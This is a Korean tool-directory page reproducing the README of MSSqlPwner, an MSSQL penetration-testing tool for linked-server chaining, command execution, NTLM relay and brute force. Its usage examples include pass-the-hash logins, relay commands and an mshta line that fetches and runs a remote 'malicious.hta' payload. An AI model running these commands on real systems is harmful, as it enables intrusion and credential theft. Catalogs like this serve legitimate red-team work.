Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
MSSqlPwner — 고급 MSSQL 침투 테스트 도구로, 연결된 서버와 다중 인증 방식을 통한 수평 이동, 명령 실행, NTLM 릴레이 및 무차별 대입 공격을 수행합니다. | Kitploit
도구/GitHubGitHub/scorpioneslabs/mssqlpwner
Password AttacksExploitationLateral MovementInformation GatheringPenetration TestingAuthenticationRed TeamingDatabase Security
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

고급 MSSQL 침투 테스트 도구로, 연결된 서버와 다중 인증 방식을 통한 수평 이동, 명령 실행, NTLM 릴레이 및 무차별 대입 공격을 수행합니다.

저장소 보기
4586317일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MSSqlPwner

MSSqlPwner는 고급 다기능 침투 테스트 도구로, MSSQL 서버와 원활하게 상호작용하고 공격(pwn)할 수 있도록 설계되었습니다. 이 도구는 impacket을 기반으로 하여, 공격자가 평문 비밀번호, NTLM 해시, Kerberos 티켓을 사용하여 데이터베이스에 인증할 수 있게 해줍니다. MSSqlPwner를 사용하면 사용자 지정 어셈블리(custom assembly), xp_cmdshell, sp_oacreate(Ole Automation Procedures) 등 다양한 방법을 통해 사용자 지정 명령을 실행할 수 있습니다.

이 도구는 연결된 서버(linked servers)와 가능한 가장(impersonation)에 대한 재귀적 열거(recursive enumeration)로 시작하여 명령 실행을 위한 가능한 모든 체인을 수집합니다.

또한 MSSqlPwner 도구는 xp_dirtree, xp_subdirs, xp_fileexist와 같은 함수를 활용하여 NTLM 중계(relay) 기능을 제공합니다.

이 도구는 측면 이동(lateral movement) 평가 및 연결된 서버 탐색에 사용할 수 있습니다.

인증된 MSSQL 사용자에게 특정 작업을 실행할 권한이 없는 경우, 도구는 명령 실행을 허용하는 올바른 체인을 찾을 수 있습니다. 예를 들어, 현재 컨텍스트에서 사용자가 명령을 실행할 수 없는 경우, 도구는 링크 서버를 사용하여 권한이 상승된(privileged) 상태로 우리 서버에 다시 연결되는 체인을 구축합니다.

설치

mssqlpwner를 시작하는 것은 매우 간단합니다. 저장소에서 직접 가져올 수 있습니다:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

또는 pipx를 사용하는 것이 좋습니다. 다음 명령을 실행하세요:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

그리고 이제 새로운 즐겨찾기 도구를 사용할 수 있습니다:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

예제

명령 실행

무차별 대입(Bruteforce)

이 도구는 여러 인증 방법을 지원하며 아래에 설명되어 있습니다.

면책 조항

이 도구는 보안 전문가 및 연구자가 테스트 목적으로만 사용하도록 설계되었으며, 불법적인 목적으로 사용해서는 안 됩니다.

기능:

  1. 유틸리티:
  • interactive: 도구를 대화형 모드로 사용하여 실시간 실행 가능.
  • enumerate: 연결된 서버와 체인을 열거.
  • get-chain-list 체인 목록을 가져옴:
    • 선택적 인수:
      • -filter-hostname HOSTNAME - 특정 호스트명으로 결과 필터링.
  • get-link-server-list 연결된 서버 목록을 가져옴.
  • set-chain 체인 ID 설정 (대화형 모드 전용!)
    • 필수 인수:
      • CHAIN - 설정할 체인 ID.
  • set-link-server 링크 서버 설정 (대화형 모드 전용!)
    • 필수 인수:
      • LINK - 설정할 링크 서버.
  • get-rev2self-queries SELF로 되돌리기 위한 쿼리 검색 (대화형 모드 전용!).
  • get-adsi-provider-list ADSI 공급자 목록 검색.
  • rev2self SELF로 되돌리기 (대화형 모드 전용!).
  1. 명령 실행: 다음 함수를 사용하여 명령 실행:
  • exec 로컬 서버 또는 연결된 서버에서 exec를 사용하여 명령 실행
    • 필수 인수:
      • COMMAND - 실행할 명령.
    • 선택적 인수:
      • -command_execution_method - 사용할 명령 실행 방법.
        • 지원 방법:
          • xp_cmdshell - xp_cmdshell 프로시저를 사용하여 명령 실행 (기본값).
          • sp_oacreate - Ole Automation Procedure 프로시저를 사용하여 명령 실행 ("cmd /c something" 형식으로 사용해야 함).
  1. 비밀번호 검색:
  • retrieve-password ADSI 공급자로부터 비밀번호 검색.
    • 선택적 인수:
      • -listen-port - 수신 대기 포트 (기본값: 1389).
      • -adsi-provider - 사용할 ADSI 공급자 (정의되지 않으면 자동 선택).
      • -arch - 사용할 아키텍처 (정의되지 않으면 자동 선택).
        • 지원 아키텍처:
          • x86 - x86 아키텍처 사용.
          • x64 - x64 아키텍처 사용.
  1. NTLM 해시 탈취 및 중계: 다음 함수를 사용하여 NTLM 중계를 수행하거나 NTLM 해시를 탈취:
  • ntlm-relay - 서버로 NTLM 중계 강제 수행.
    • 필수 인수:
      • SMB_SERVER - 중계할 SMB 서버.
    • 선택적 인수:
      • -relay-method - 사용할 중계 방법.
        • 지원 방법:
          • xp_dirtree - xp_dirtree 프로시저 사용 (기본값).
          • xp_subdirs - xp_subdirs 프로시저 사용.
          • xp_fileexist - xp_fileexist 프로시저 사용 (상황에 따라 이 모듈은 권한 있는 체인에서 실행해야 함).
  1. 사용자 지정 어셈블리를 사용한 프로시저 실행:
  • custom-asm - 사용자 지정 어셈블리를 사용하여 프로시저 실행
    • 필수 인수:
      • COMMAND - 사용할 명령/경로 또는 쿼리.
    • 선택적 인수:
      • -procedure-name - 사용할 프로시저 이름 (기본값: execute_command).
        • 지원 프로시저:
        • execute_command - 사용자 지정 어셈블리를 사용하여 명령 실행 (기본값).
        • run_query - 사용자 지정 어셈블리를 사용하여 쿼리 실행.
        • run_query_system_service - 시스템 사용자(SqlSVC 등)로 사용자 지정 어셈블리를 사용하여 쿼리 실행.
  • inject-custom-asm 사용자 지정 어셈블리를 사용하여 코드 주입.
    • 필수 인수:
      • file_location - 주입할 파일 위치.
    • 선택적 인수:
    • -procedure-name - 사용할 프로시저 이름 (기본값: Inject).
  1. 직접 쿼리(Direct Queries)
  • direct-query 직접 쿼리 실행
  • 필수 인수:
    • QUERY - 실행할 쿼리.
  • 선택적 인수:
  • -query-method - 사용할 쿼리 방법.
    • 지원 방법:
      • OpenQuery - OpenQuery 프로시저 사용 (기본값).
      • exec_at - exec AT 프로시저 사용.
  1. 무차별 대입(Bruteforce)
  • brute 무차별 대입 실행 (티켓, 해시 및 비밀번호 수신 가능)
  • 필수 인수:
    • TARGETS_FILE - 호스트와 IP가 포함된 파일.
    • -ul - 사용자 목록 파일.
  • 선택적 인수:
    • -pl - 비밀번호 목록 파일.
    • -tl - 티켓 목록 파일.
    • -hl - 해시 목록 파일.
  • 참고:
  • 티켓을 사용하려면 SPN(서비스 사용자 이름) 형식(예: MSSQLSvc/hostname.domain.com:1433)을 사용해야 합니다.
  • 티켓을 사용하는 경우 비밀번호나 해시는 필요하지 않습니다.
  • 티켓을 사용하지 않는 경우, 비밀번호 파일이나 해시 파일 중 하나는 반드시 제공해야 합니다.

일반 선택적 인수 (선택한 함수 앞에 위치해야 함):

  • -link-name - 사용할 링크 서버 이름
  • -chain-id - 사용할 체인 ID
  • -max-link-depth - 사용할 최대 링크 깊이 (기본값: 10)
  • -max-impersonation-depth - 사용할 최대 가장 깊이 (기본값: 10)
  • -auto-yes - 모든 질문에 자동으로 '예'라고 답변 (기본값: False)
  • -timeout - 사용할 시간 초과 (기본값: 30)

측면 이동 및 체인 탐색:

MSSqlPwner는 측면 이동 평가 및 연결된 서버 탐색 기회를 제공합니다. 현재 세션에 관리자 권한이 없는 시나리오에서 도구는 연결된 서버를 통해 자신의 권한을 상승시키는 체인을 찾으려고 시도합니다. 연결된 서버의 세션이 더 높은 권한을 가진 경우, 도구는 해당 연결된 서버와 상호작용하고 상승된 권한으로 호스트로 다시 연결되는 링크 쿼리를 수행하여 대상 서버와의 측면 이동을 가능하게 합니다.

인증 방법:

다양한 인증 방법을 지원합니다:

  • Windows 자격 증명
  • MSSQL 자격 증명
  • Kerberos 인증
  • Kerberos 티켓
  • NTLM 해시

도구는 다양한 시나리오와 환경에 적응하며 인증 메커니즘의 효율성을 검증합니다.

MSSqlPwner 도구의 강력함과 다양성을 활용하여 MSSQL 환경 평가를 한 단계 높이십시오. MSSqlPwner 도구를 사용하여 측면 이동, 은밀한 쿼리, 정확한 보안 평가의 새로운 가능성을 발견하십시오.

사용 예시

root@kitploit:~
# 대화형 모드
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# 가장 깊이 2레벨의 대화형 모드
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive

# Windows 인증으로 현재 서버에서 사용자 지정 어셈블리 실행 후 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Windows 인증으로 현재 서버에서 SRV01 연결된 서버의 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# 연결된 SRV01 서버에서 저장 프로시저를 사용하여 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# 연결된 SRV01 서버에서 sp_oacreate 방법으로 hostname 명령 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# SRV01 서버에 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# 체인 ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25에 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# 로컬 서버에 사용자 지정 명령으로 NTLM 중계 공격 수행
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# 직접 쿼리 실행
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# 연결된 서버 DC01에서 비밀번호 검색
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# 연결된 서버 DC01에서 사용자 지정 어셈블리로 코드 실행
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# hosts.txt에 나열된 호스트에 대해 티켓, 해시, 비밀번호를 사용한 무차별 대입
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# hosts.txt에 나열된 호스트에 대해 해시와 비밀번호를 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# hosts.txt에 나열된 호스트에 대해 티켓만 사용한 무차별 대입
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# hosts.txt에 나열된 호스트에 대해 비밀번호만 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# hosts.txt에 나열된 호스트에 대해 해시만 사용한 무차별 대입
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

감사의 말

  • Kim Dvash - 이 멋진 로고를 디자인해 주셨습니다.
  • Pablo Martínez - 비밀번호 검색 기술에 대한 영감과 아이디어를 주셨습니다.
  • Omri Baso - 영감과 아이디어를 주셔서 감사합니다.
도구 다운로드